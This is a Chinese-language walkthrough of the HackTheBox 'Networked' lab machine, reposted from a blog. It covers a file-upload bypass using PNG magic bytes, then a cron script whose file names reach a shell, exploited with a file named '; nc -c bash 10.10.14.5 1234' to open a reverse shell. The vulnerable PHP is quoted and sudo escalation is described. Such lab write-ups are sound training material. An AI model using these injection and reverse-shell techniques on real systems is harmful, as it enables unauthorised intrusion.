Linux/Networked

发布时间:2024年01月14日

Enumeration

nmap

网站更新之后有了一个引导模式,更利于学习了,之前看ippsec的视频,要不总是没有思路,现在出现的问题多了提示也更多了,还没有使用,一会用用再说

首先,第一个问题是“目标上正在运行哪个版本的 Apache?”

所以先使用nmap快速扫描一下端口,看看有什么发现,发现对外开放了22和80,然后扫描对应端口的详细信息

所以第一个问题就很好回答了,快速回答,然后拿到下一个题目“网络服务器上包含备份文件的目录的相对路径是什么?”

包含备份文件的目录?dirsearch扫描一下看看结果

?
dirsearch -u http://10.10.10.146

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/10.10.10.146/_23-09-12_07-13-32.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-09-12_07-13-32.log

Target: http://10.10.10.146/

[07:13:33] Starting:

[07:13:47] 403 - 213B - /.ht_wsr.txt

[07:13:47] 403 - 216B - /.htaccess.bak1

……

……

[07:17:07] 301 - 235B - /backup -> http://10.10.10.146/backup/

[07:17:08] 200 - 885B - /backup/

[07:17:13] 403 - 210B - /cgi-bin/

[07:17:39] 200 - 229B - /index.php

[07:17:39] 200 - 229B - /index.php/login/

[07:17:58] 200 - 1KB - /photos.php

[07:18:26] 200 - 169B - /upload.php

[07:18:26] 301 - 236B - /uploads -> http://10.10.10.146/uploads/

[07:18:26] 200 - 2B - /uploads/

?

看到扫描结果中就有这一题的答案

“阅读lib.php的源代码后,我们发现可以通过上传功能上传JPG、GIF、JPEG和其他一种扩展名。另一个扩展是什么?”

把backup.tar下载下来后,里面就有lib.php

Exploitation

file upload

但是在lib.php中并没有看到相关代码,而题目提示了上传,打开upload.php发现其中包含了lib.php,在其中也看到了另一种被允许的文件格式

第四个任务是“MIME 类型可防止网站上传功能上传实际上不是声明的文件类型的文件。魔术字节用于通过将字节附加到有效负载文件来绕过此问题。PNG 格式的前八个魔法字节是什么?(以 16 个十六进制字符的形式给出您的答案)”

这个答案可以直接去搜索现成的答案

既然提到了这个,说不定一会就会有其他用处,下一个“在 Linux 操作系统上,用户可以安排任务在所需的时间段运行。Linux 中默认的任务调度程序是什么?”

下一个问题已经到了linux系统里面了,看来该上传文件了,在/upload.php下看到一个简易的上传表单

所以按照刚才的提示,他应该是要检查png的mine magic number,先上传一张真的图片,上传成功后可以再photos.php中看到

可以上传文件,尝试上传一个反弹shell,使用16进制编辑器把文件打开,在shell前加上png的magic number,然后保存

在上传页面上传该文件,利用burpsuite修改文件名为shell.php.png,成功上传

上传成功后访问该图片连接,然后看到下面的话,看起来好像有点意思

在kali中开启监听,然后再次访问上传文件的链接,成功拿到apache的shell

Lateral Movement

可以看到在guly下有user.txt,但是我们没法打开,根据问题的提示,有可能guly的shell获取与cron有关

打开crontab.guly文件,发现在特定情况下,会执行check_attack.php文件

check_attack.php文件如下,脚本获取 /var/www/html/uploads 目录中的文件,然后运行lib.php ,getnameCheck函数检查文件名,如果不是有效的ip地址,会执行下面attack部分的代码,exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");代码会将其删除,但是如果拼接指令可以滥用

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>

在uploads目录下新建下面的文件,在kali中开启监听

touch '; nc -c bash 10.10.14.5 1234'

; 会停止rm -f,然后执行后面的nc -e /bin/bash 10.10.14.5 1234,等待定时任务执行后即可获得shell

然后就能拿到user的flag

Privilege Escalation

根据题目的提示“What is the name of the script that guly can run as root without a password?”

获取一个简单的交互式shell后,直接使用sudo -l看看能干什么

打开changename.sh脚本,看起来是要输入一些东西,判断之后进行处理

运行该脚本,来来回回输入好几次后,发现在字符串后跟上/bin/bash就能得到root的shell

文章来源:https://blog.csdn.net/weixin_45557138/article/details/135578437
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。